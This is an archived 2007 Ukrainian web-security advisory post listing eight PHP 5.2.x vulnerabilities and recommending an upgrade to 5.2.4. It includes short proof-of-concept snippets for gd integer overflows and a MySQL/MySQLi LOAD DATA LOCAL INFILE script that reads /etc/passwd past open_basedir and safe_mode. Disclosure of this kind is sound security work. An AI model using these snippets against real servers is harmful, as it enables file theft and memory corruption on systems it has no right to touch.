228a
This version of the page http://websecurity.com.ua/1320/ (0.0.0.0) stored by archive.org.ua. It represents a snapshot of the page as of 2008-05-02. The original page over time could change.
Численні уразливості в PHP - Websecurity - Веб безпека

Численні уразливості в PHP

19:47 07.09.2007

Виявленні численні уразливості в PHP. Уразливі версії: PHP 5.2.x.

Знайдені уразливості дозволяють віддаленому користувачу обійти деякі обмеження безпеки.

1. Уразливість існує через невідому помилку у функції “money_format()” при обробці токенів “%i” та “%n”.

2. Уразливість існує через невідому помилку у функції “zend_alter_ini_entry()”. Зловмисник може викликати memory_limit переривання.

3. Цілочисленне переповнення виявлене у функціях “gdImageCreate()” і “gdImageCreateTrueColor()” у файлі ext/gd/libgd/gd.c. Зловмисник може за допомогою занадто великих цілочисленних значень, переданих як параметр PHP функції “imagecreatetruecolor()” викликати переповнення динамічної пам’яті. Віддалений користувач може виконати довільний код на цільовій системі чи обійти обмеження безпеки (наприклад, директиву “disable_functions”). Для успішної експлуатації уразливості PHP повинен бути налаштований для використання бібліотеки gd. Приклад:

<?php
imagecreatetruecolor(1234,1073741824);
?>

4. Два цілочисленних переповнення виявлені у функції “gdImageCopyResized()” у файлі ext/gd/libgd/gd.c. Зловмисник може за допомогою занадто великих цілочисленних значень, переданих як параметр PHP функціям “imagecopyresized()” і “imagecopyresampled()” викликати переповнення динамічної пам’яті. Віддалений користувач може виконати довільний код на цільовій системі чи обійти обмеження безпеки (наприклад, директиву “disable_functions”). Для успішної експлуатації уразливості PHP повинен бути налаштований для використання бібліотеки gd. Приклад:

<?php
imagecopyresized(imagecreatetruecolor(0x7fffffff, 120),
imagecreatetruecolor(120, 120),
0, 0, 0, 0, 0x7fffffff, 120, 120, 120);
?>

5. Уразливість існує через помилку при обробці SQL запитів, що містять “LOCAL INFILE” усередині MySQL і MySQLi розширень. Зловмисник може обійти обмеження директив “open_basedir” і “safe_mode”. Приклад:

MySQL:

<?php
file_get_contents('/etc/passwd');
$l = mysql_connect("localhost", "root");
mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'");
mysql_close($l);
mysql_connect("localhost", "aaaa");
mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result))
print $row . chr(10);
?>

MySQLi:

<?php
function r($fp, &$buf, $len, &$err) {
print fread($fp, $len);
}
$m = new mysqli('localhost', 'aaaa', '', 'a');
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler("r");
$m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$m->close();
?>

6. Уразливість існує через помилку при обробці функцій “session_save_path()” та “ini_set()”, викликуваних з “.htaccess” файлу. Зловмисник може обійти обмеження директив “open_basedir” і “safe_mode”.

7. Уразливість існує через невідому помилку у функції “glob()”. Зловмисник може обійти обмеження директиви “open_basedir”.

8. Уразливість існує через невідому помилку при обробці сесій. Зловмисник може замінити сесійний файл символічною лінкою і обійти обмеження директиви “open_basedir”.

Рекомендується встановити останню версію 5.2.4 із сайта виробника.

  • Множественные уязвимости в PHP (деталі)
20cb

Leave a Reply


0